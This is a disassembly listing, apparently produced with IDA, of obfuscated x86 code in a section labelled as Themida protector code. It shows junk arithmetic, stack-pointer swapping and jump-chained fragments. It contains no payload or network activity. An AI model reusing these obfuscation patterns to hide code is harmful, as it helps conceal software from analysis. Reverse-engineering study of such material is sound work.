; END OF FUNCTION CHUNK	FOR sub_59D29C
; ---------------------------------------------------------------------------


loc_5A404A:				; CODE XREF: Themida_:005A4072j
		push	esi
		push	ecx
		mov	ecx, 38B61100h
		jmp	loc_597F7B
; ---------------------------------------------------------------------------


loc_5A4056:				; CODE XREF: Themida_:00593640j
		mov	[esp], edx
		mov	edx, 50DA5A6Ah
		dec	edx
		push	esi
		mov	esi, 0FAA0F36h
		dec	esi
		sub	esi, 0C3F390E7h
		or	edx, esi
		pop	esi
		xchg	eax, edx
		inc	eax
		xchg	eax, edx
		jmp	loc_5A404A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4077:				; CODE XREF: sub_59390B+EDA4j
		mov	esp, [esp+0]
		and	ecx, eax
		pop	eax
		shr	ecx, 6
		push	22C5h
		mov	[esp+0], ebp
		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	eax
		mov	eax, esp
		jmp	loc_597E3C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A4099:				; CODE XREF: Themida_:00598ABAj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		pop	dword ptr [edi+40h]
		push	dword ptr [esp]
		jmp	loc_598504
; ---------------------------------------------------------------------------


loc_5A40B0:				; CODE XREF: Themida_:0059BF98j
		mov	ebx, 706106ABh
		mov	esi, 8F9EF957h
		add	esi, ebx
		pop	ebx
		add	ecx, esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A43A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A40D3:				; CODE XREF: sub_59390B+6FFj
		mov	[esp+0], ebx
		mov	ebx, 6B855876h
		shr	ebx, 2
		dec	ebx
		sub	ebx, 1AE15618h
		add	ebp, 19286007h
		add	ebp, 49770EB4h
		add	ebp, ebx
		sub	ebp, 49770EB4h
		sub	ebp, 19286007h
		pop	ebx
		sub	esp, 4
		jmp	loc_5976BA
; ---------------------------------------------------------------------------


loc_5A4108:				; CODE XREF: sub_59390B+1181Fj
		pop	eax
		sub	dh, ch
		jmp	loc_592325
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A4110:				; CODE XREF: Themida_:005961F6j
		add	esp, 4
		xor	edx, edx
		push	3E54h
		mov	[esp], ebx
		jmp	loc_5A5187
; ---------------------------------------------------------------------------


loc_5A4122:				; CODE XREF: Themida_:005982A8j
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	esi
		add	esi, 4
		push	2898h
		jmp	loc_59EE05
; ---------------------------------------------------------------------------


loc_5A413D:				; CODE XREF: Themida_:005973D0j
		sub	eax, ebx
		add	eax, 40D764EDh
		add	eax, 4837F1h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_59B146
; ---------------------------------------------------------------------------


loc_5A4155:				; CODE XREF: Themida_:0059EF58j
		pop	ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5937BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_5A4182:				; CODE XREF: sub_594A8D-201Aj
		mov	ecx, 58551FC9h
		or	ecx, 6E0E067Bh
		xor	ecx, 2740384Eh
		xor	ecx, 581F2E39h
		shl	ecx, 2
		and	ecx, 7C8B25C0h
		add	ecx, 6F741B59h
		and	ebx, ecx
		pop	ecx
		push	430Eh
		mov	[esp+10h+var_10], ecx
		jmp	loc_5A5373
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A41B8:				; CODE XREF: sub_59390B+1113Ej
		add	[esp-8+arg_4], eax
		sub	[esp-8+arg_4], 2E13316Eh
		push	ebp
		mov	ebp, 19B25850h
		sub	[esp-4+arg_4], ebp
		pop	ebp
		push	[esp-8+arg_0]
		jmp	loc_5A2A1A
; ---------------------------------------------------------------------------


loc_5A41D7:				; CODE XREF: sub_59390B+DB6Ej
		mov	edi, [esp-28h+arg_20]
		push	7908h
		jmp	loc_59D5A5
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A41E4:				; CODE XREF: Themida_:00591354j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 10B25D2Ch
		mov	ebx, edx
		jmp	loc_59A2F9
; ---------------------------------------------------------------------------


loc_5A4209:				; CODE XREF: Themida_:0059A8EEj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_59FDA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_5A4212:				; CODE XREF: sub_5A51EA-A65Ej
		push	eax
		mov	al, dh
		mov	cl, al
		jmp	loc_5A17B8
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5A421C:				; CODE XREF: sub_59CFD4+F60j
		mov	ebx, [esp+18h+var_18]
		add	esp, 4
		xor	eax, 7AC0C3E8h
		push	eax
		mov	edi, [esp+18h+var_18]
		jmp	loc_59AA5C
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0BFE


loc_5A4233:				; CODE XREF: sub_5A0BFE+3E45j
		add	ebx, ebp
		sub	ebx, 0EEF64E7h
		mov	ebp, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5A19E0
; END OF FUNCTION CHUNK	FOR sub_5A0BFE
; ---------------------------------------------------------------------------


loc_5A4269:				; CODE XREF: Themida_:0059F0EDj
		mov	ebp, esp
		jmp	loc_596EFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4270:				; CODE XREF: sub_59390B-F65j
		mov	[esp-18h+arg_10], esi
		push	eax
		add	[esp-14h+arg_C], 4221171Eh
		push	[esp-14h+arg_C]
		pop	esi
		add	esp, 4
		jmp	loc_5980F5
; ---------------------------------------------------------------------------


loc_5A4287:				; CODE XREF: sub_59390B+6653j
		push	esp
		jmp	loc_5A148D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_5A428D:				; CODE XREF: sub_59654E+350Cj
		xchg	esi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0Ch+var_C], edi
		push	ecx
		jmp	loc_592EB3
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------


loc_5A42AE:				; CODE XREF: Themida_:005988A0j
		mov	esi, ecx
		mov	ecx, [esp]
		push	edx
		jmp	loc_599EDC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5A42B9:				; CODE XREF: sub_59CAFB-16Aj
		push	35E6h
		jmp	loc_59AA79
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A42C3:				; CODE XREF: sub_59390B+E68Fj
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		and	esi, 4FE84C50h
		push	edx
		jmp	loc_5A3992
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2AF


loc_5A42D8:				; CODE XREF: sub_59B2AF+A2E2j
		mov	ebp, edx
		pop	edx
		jmp	loc_59B38A
; END OF FUNCTION CHUNK	FOR sub_59B2AF
; ---------------------------------------------------------------------------


loc_5A42E0:				; CODE XREF: Themida_:00596193j
		xor	edx, 0AA2293Bh
		jmp	loc_59B1C8
; ---------------------------------------------------------------------------


loc_5A42EB:				; CODE XREF: Themida_:00598BF6j
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_598389
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A42FD:				; CODE XREF: sub_59390B+6E13j
		mov	eax, 336A011Dh
		xor	ecx, eax
		pop	eax
		sub	ebx, ecx
		pop	ecx
		sub	ebx, esi
		push	ecx
		push	1F83h
		mov	[esp+0], esi
		mov	esi, 31F2411Dh
		push	esi
		add	dword ptr [esp+0], 485F28DAh
		jmp	loc_5A1C5F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A23FB


loc_5A4325:				; CODE XREF: sub_5A23FB-4B48j
		sub	edi, 37416B39h
		mov	ebx, [esp-0Ch+arg_8]
		add	esp, 4
		push	5753h
		mov	[esp-0Ch+arg_8], ebx
		mov	ebx, 11AF4CA1h
		neg	ebx
		push	esi
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 0
		mov	esi, edi
		pop	edi
		sub	esi, ebx
		mov	ebx, esi
		mov	esi, [esp-8+arg_4]
		add	esp, 4
		xchg	ebp, ebx
		dec	ebp
		xchg	ebp, ebx
		jmp	loc_592B5C
; END OF FUNCTION CHUNK	FOR sub_5A23FB
; ---------------------------------------------------------------------------


loc_5A4369:				; CODE XREF: Themida_:00596506j
		sub	edx, edi
		jmp	loc_5973AD
; ---------------------------------------------------------------------------


loc_5A4370:				; CODE XREF: Themida_:00591841j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	ecx
		or	edi, 781952D7h
		shl	edi, 4
		xor	edi, 0AE2FAF23h
		add	eax, 3B6964CDh
		sub	eax, 518B0532h
		sub	eax, edi
		add	eax, 518B0532h
		push	ebx
		mov	ebx, 3B6964CDh
		sub	eax, ebx
		mov	ebx, [esp]
		jmp	loc_593F76
; ---------------------------------------------------------------------------


loc_5A43A8:				; CODE XREF: Themida_:005A40CEj
		xchg	ebx, [esp]
		pop	esp
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5A4EF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5932F7


loc_5A43B5:				; CODE XREF: sub_5932F7+D093j
		xchg	edi, [esp+4+var_4]
		pop	esp
		push	ecx
		mov	ecx, esp
		push	edi
		push	esi
		mov	esi, 4
		mov	edi, esi
		pop	esi
		add	ecx, edi
		jmp	loc_5A1E81
; END OF FUNCTION CHUNK	FOR sub_5932F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_5A43CD:				; CODE XREF: sub_59A4D6+82F1j
		mov	[esp+4+var_4], ebp
		mov	ebp, 4
		add	eax, ebp
		push	[esp+4+var_4]
		pop	ebp
		add	esp, 4
		push	63D3h
		mov	[esp+4+var_4], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		jmp	loc_59733C
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4402:				; CODE XREF: sub_59390B+12Aj
		pop	eax
		xchg	ecx, [esp-18h+arg_10]
		pop	esp
		push	edi
		jmp	loc_59FC83
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A440D:				; CODE XREF: Themida_:00597A79j
		push	4792h
		mov	[esp], ebp
		mov	ebp, 4C430CB9h
		push	eax
		push	edx
		push	570C639Bh
		pop	edx
		sub	edx, 4B641C69h
		mov	eax, edx
		jmp	loc_5988C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59333E


loc_5A442F:				; CODE XREF: sub_59333E+11435j
		sub	eax, 65D37AF1h
		jmp	loc_592E32
; END OF FUNCTION CHUNK	FOR sub_59333E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_5A4439:				; CODE XREF: sub_59A75E+950Fj
		mov	si, 522Eh
		sub	bx, si
		jmp	loc_59B555
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4445:				; CODE XREF: sub_59390B+1762j
		xor	ebx, [esp-8+arg_0]
		xor	[esp-8+arg_0], ebx
		xor	ebx, [esp-8+arg_0]
		mov	esp, [esp-8+arg_0]
		xor	ebx, [esp-8+arg_0]
		xor	[esp-8+arg_0], ebx
		xor	ebx, [esp-8+arg_0]
		pop	esp
		btr	word ptr [esp-0Ch+arg_4], ax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5A4466:				; CODE XREF: sub_59390B+4120j
		add	ebp, 4
		jmp	loc_592DC0
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A4471:				; CODE XREF: Themida_:005A555Aj
		push	esi
		mov	esi, 3B577363h
		shr	esi, 1
		not	esi
		inc	esi
		sub	esi, 0FE42069h
		sub	esi, 9649D69Ah
		or	edx, esi
		pop	esi
		jmp	loc_5A2C95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_5A4490:				; CODE XREF: sub_59FD45-5B75j
		sub	ebp, eax
		mov	eax, [esp+8+var_8]
		jmp	loc_59F526
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D1FC


loc_5A449A:				; CODE XREF: sub_59D1FC-AE4j
		push	7B79h
		mov	[esp+8+var_8], ebx
		mov	ebx, 4
		sub	esi, ebx
		pop	ebx
		jmp	loc_59CF8E
; END OF FUNCTION CHUNK	FOR sub_59D1FC
; ---------------------------------------------------------------------------


loc_5A44AF:				; CODE XREF: Themida_:00592A54j
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_5A071B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A44BC:				; CODE XREF: sub_59390B-45Ej
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5973EA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A44C7:				; CODE XREF: Themida_:005A4CD8j
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592586


loc_5A44D0:				; CODE XREF: sub_592586+89E8j
		add	ebx, ebp
		mov	ebp, [esp+8+var_8]
		jmp	loc_59CC2F
; END OF FUNCTION CHUNK	FOR sub_592586
; ---------------------------------------------------------------------------


loc_5A44DA:				; CODE XREF: Themida_:0059769Ej
		sub	edi, ecx
		jmp	loc_595EFE
; ---------------------------------------------------------------------------


loc_5A44E1:				; CODE XREF: Themida_:00598662j
		mov	edi, 0C7F4594h
		sub	[esp+4], edi
		pop	edi
		pop	esi
		push	edi
		jmp	loc_59A76F
; ---------------------------------------------------------------------------


loc_5A44F2:				; CODE XREF: Themida_:0059D329j
		pop	esp
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5A37A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5A4503:				; CODE XREF: sub_59CAFB+1Cj
		add	esp, 4
		add	eax, 0B25344Ah
		jmp	loc_5934B2
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_5A4510:				; CODE XREF: Themida_:00591B0Aj
		push	0D24h
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_5A1EBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5932F7


loc_5A4523:				; CODE XREF: sub_5932F7-B3Dj
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		jmp	loc_5949AA
; END OF FUNCTION CHUNK	FOR sub_5932F7
; ---------------------------------------------------------------------------


loc_5A452E:				; CODE XREF: Themida_:005A50AEj
		mov	[esp], ecx
		mov	ecx, 311970B8h
		or	ecx, 6C733848h
		shl	ecx, 6
		sub	ecx, 444F5920h
		dec	ecx
		xor	ecx, 46502EEEh
		sub	ecx, 0F4137753h
		jmp	loc_59A74E
; ---------------------------------------------------------------------------


loc_5A4557:				; CODE XREF: Themida_:0059F974j
		sub	ecx, esi
		add	ecx, 7ADD0BC1h
		sub	ecx, 3C66644h
		add	ecx, 58734282h
		mov	esi, [esp]
		add	esp, 4
		add	esi, 575147EDh
		sub	esi, ecx
		sub	esi, 575147EDh
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5A280A
; ---------------------------------------------------------------------------


loc_5A4594:				; CODE XREF: Themida_:005A4ABFj
		and	ecx, edi
		pop	edi
		sub	ecx, 150A2051h
		mov	esi, ecx
		pop	ecx
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	7E51h
		mov	[esp], ebx
		jmp	loc_59DC64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A45B8:				; CODE XREF: sub_59390B+C2EEj
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		push	4C01h
		mov	[esp+0Ch+var_C], edi
		push	eax
		mov	eax, 5B4847D8h
		push	eax
		xor	[esp+14h+var_14], 4C05628Fh
		pop	edi
		xor	edi, 4C05628Fh
		jmp	loc_59FB05
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F53F


loc_5A45DE:				; CODE XREF: sub_59F53F-667Dj
		xchg	esi, [esp-4+arg_0]
		jmp	loc_5965C9
; END OF FUNCTION CHUNK	FOR sub_59F53F
; ---------------------------------------------------------------------------


loc_5A45E6:				; CODE XREF: Themida_:0059507Fj
		xor	edx, 0C007E77h
		sub	ebx, edx
		pop	edx
		add	ebx, 0A43B1781h
		add	eax, ebx
		jmp	loc_59545C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5950DF


loc_5A45FC:				; CODE XREF: sub_5950DF+11j
		mov	esi, esp
		jmp	loc_599B03
; END OF FUNCTION CHUNK	FOR sub_5950DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_5A4603:				; CODE XREF: sub_5A4CDD-BA01j
		push	271Eh
		mov	[esp+10h+var_10], ebx
		mov	ebx, esp
		jmp	loc_59ABA5
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------


loc_5A4612:				; CODE XREF: Themida_:00590D1Ej
		add	edi, 1
		inc	edi
		not	edi
		shl	edi, 5
		jmp	loc_59FF6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D82E


loc_5A4623:				; CODE XREF: sub_59D82E-613Bj
		idiv	cl
		movzx	cx, ah
		push	small 3381h
		jmp	loc_59A4C9
; END OF FUNCTION CHUNK	FOR sub_59D82E
; ---------------------------------------------------------------------------


loc_5A4632:				; CODE XREF: Themida_:0059228Dj
		push	ebp
		mov	ebp, 4
		jmp	loc_59E30A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_5A463D:				; CODE XREF: sub_591FC5+EB18j
		shr	ah, 5
		or	ah, 0C8h
		jmp	loc_593630
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59731A


loc_5A4648:				; CODE XREF: sub_59731A+C924j
		pop	edi
		sub	edi, 4EB14E62h
		jmp	loc_59D479
; END OF FUNCTION CHUNK	FOR sub_59731A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_5A4654:				; CODE XREF: sub_59FD45+5D8Bj
		push	edi
		push	[esp+0Ch+var_8]
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		pop	[esp+0Ch+var_C]
		pop	esp
		mov	[ebx], edx
		mov	ebx, [esp+4+var_4]
		jmp	loc_59B4A9
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4670:				; CODE XREF: sub_59390B-169Aj
		sub	esi, 9FE26E88h
		add	edi, esi
		pop	esi
		mov	ebx, [esp-18h+arg_10]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-14h+arg_C]
		pop	esp
		jmp	loc_592F24
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_5A4692:				; CODE XREF: sub_5A51EA-B1A8j
		sub	cl, 1Ah
		jmp	loc_59B796
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5996AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_5A46A2:				; CODE XREF: sub_59A75E-6047j
		mov	[esp+0], ax
		jmp	loc_592B32
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A46AB:				; CODE XREF: sub_59390B-17EBj
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-0Ch+arg_4]
		pop	esp
		mov	[esp-10h+arg_8], ecx
		mov	cl, 26h
		shr	cl, 4
		neg	cl
		push	dx
		jmp	loc_5A3620
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A46D0:				; CODE XREF: Themida_:00598DE4j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4FA54DFh
		jmp	loc_59B40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_5A46E1:				; CODE XREF: sub_5964AF-315Fj
		mov	eax, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_5A3823
; END OF FUNCTION CHUNK	FOR sub_5964AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A46EC:				; CODE XREF: sub_59390B+5E25j
		mov	[esp+0], ebx
		push	28h
		pop	ebx
		add	ebx, 4635D1Ah
		sub	ebx, offset word_49457A
		add	ebx, edi
		push	38C1h
		mov	[esp+0], ecx
		mov	ecx, offset word_49457A
		add	ebx, ecx
		jmp	loc_592466
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_5A4717:				; CODE XREF: sub_59FCCB+4AEDj
		mov	dl, cl
		mov	bl, dl
		pop	edx
		pop	ecx
		push	0AC4h
		jmp	loc_5A314A
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4727:				; CODE XREF: sub_59390B+A1B7j
		mov	ebx, 314B3175h
		jmp	loc_5A2390
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28F6


loc_5A4731:				; CODE XREF: sub_5A28F6-A27Dj
		mov	[esp+0], ebx
		push	4D546AC8h
		pop	ebx
		mov	esi, ebx
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		push	448Bh
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		jmp	loc_5A2CFA
; END OF FUNCTION CHUNK	FOR sub_5A28F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4755:				; CODE XREF: sub_59390B-1240j
		push	edi
		pop	edx
		pop	edi
		add	eax, edx
		jmp	loc_5911A1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C8E


loc_5A475F:				; CODE XREF: sub_597C8E+A31Cj
		pop	ecx
		sub	esi, edx
		pop	edx
		jmp	loc_5A17AD
; END OF FUNCTION CHUNK	FOR sub_597C8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4768:				; CODE XREF: sub_59390B+25EEj
		mov	edx, 518D08ECh
		jmp	loc_5A5246
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59333E


loc_5A4772:				; CODE XREF: sub_59333E-1688j
		pop	ecx
		jmp	loc_5A442F
; END OF FUNCTION CHUNK	FOR sub_59333E
; ---------------------------------------------------------------------------


loc_5A4778:				; CODE XREF: Themida_:00592BE5j
		inc	ecx
		shr	ecx, 6
		jmp	loc_599EC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5995FC


loc_5A4781:				; CODE XREF: sub_5995FC-67B3j
		mov	[esp+2+var_4+2], ebx
		jmp	loc_594B44
; END OF FUNCTION CHUNK	FOR sub_5995FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_5A4789:				; CODE XREF: sub_5964AF+D375j
		add	eax, 7ECC5D01h
		sub	esp, 4
		mov	[esp-0Ch+arg_8], esi
		sub	esp, 4
		jmp	loc_599883
; END OF FUNCTION CHUNK	FOR sub_5964AF
; ---------------------------------------------------------------------------


loc_5A47A2:				; DATA XREF: Themida_:00590990o
		mov	cx, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_59DAFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_5A47AE:				; CODE XREF: sub_59FCCB-45F2j
		mov	cl, al
		push	3B28h
		mov	[esp+1Ch+var_1C], edx
		jmp	loc_5A4717
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------


loc_5A47BD:				; CODE XREF: Themida_:005A38D1j
		sub	dword ptr [esp+4], 0C455015h
		sub	dword ptr [esp+4], 0BA84732h
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5A13E6
; ---------------------------------------------------------------------------


loc_5A47E1:				; CODE XREF: Themida_:00592BBCj
		mov	[esp], edi
		jmp	loc_5A0673
; ---------------------------------------------------------------------------


loc_5A47E9:				; CODE XREF: Themida_:005A1DD1j
		mov	[esp], eax
		mov	eax, 3800C2h
		jmp	loc_5A04E4
; ---------------------------------------------------------------------------


loc_5A47F6:				; CODE XREF: Themida_:0059BD71j
		mov	[esp], esi
		mov	esi, esp
		push	eax
		push	4
		pop	eax
		sub	esi, 699F027Ch
		push	ecx
		mov	ecx, 50806505h
		sub	ecx, 2D729DEh
		jmp	loc_59E395
; ---------------------------------------------------------------------------


loc_5A4819:				; CODE XREF: Themida_:005A3C32j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_59232C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4834:				; CODE XREF: sub_59390B+315Fj
		add	esp, 4
		jmp	sub_590AC5
; ---------------------------------------------------------------------------


loc_5A483F:				; CODE XREF: sub_59390B+1E1Fj
		mov	eax, 7EF56758h
		or	eax, 55256C9Dh
		shl	eax, 3
		push	esi
		mov	esi, 3A8A6A4Bh
		sub	eax, esi
		jmp	loc_5A3A1C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A4859:				; CODE XREF: Themida_:005980F0j
		xchg	eax, [esp]
		pop	esp
		push	592Dh
		jmp	loc_597780
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_5A4867:				; CODE XREF: sub_5A17BF-E2EBj
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		not	esi
		sub	esi, 0EBECF870h
		xor	eax, esi
		mov	esi, [esp+0Ch+var_C]
		jmp	loc_593BFB
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------


loc_5A487F:				; CODE XREF: Themida_:0059782Aj
		pop	eax
		add	esp, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_594D7C
; ---------------------------------------------------------------------------


loc_5A488E:				; CODE XREF: Themida_:0059B0A0j
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	esp
		jmp	loc_596B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_5A489A:				; CODE XREF: sub_5964AF+D077j
		push	[esp-0Ch+arg_8]
		jmp	loc_59B073
; END OF FUNCTION CHUNK	FOR sub_5964AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5999A4


loc_5A48A2:				; CODE XREF: sub_5999A4-1CFBj
		add	esp, 4
		add	ebx, eax
		mov	eax, [esp+0]
		push	ebx
